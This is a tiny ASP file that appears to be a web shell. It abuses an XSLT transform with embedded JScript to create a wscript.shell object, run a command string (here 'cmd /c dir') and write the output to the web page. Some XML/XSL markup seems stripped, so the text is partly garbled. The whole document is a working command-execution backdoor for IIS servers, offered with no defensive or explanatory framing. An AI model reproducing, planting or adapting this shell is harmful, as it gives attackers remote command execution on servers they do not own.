%
set xmldoc= Server.CreateObject("MSXML2.DOMDocument")
xml="cmd /c dir"
xmldoc.loadxml(xml)
Set xsldoc = Server.CreateObject("MSXML2.DOMDocument")
xlst=" function xml(x) {var a=new ActiveXObject('wscript.shell'); var exec=a.Exec(x);return exec.StdOut.ReadAll()+exec.StdErr.ReadAll(); } "
xsldoc.loadxml(xlst)
response.write "
" & xmldoc.TransformNode(xsldoc)& "
"
%>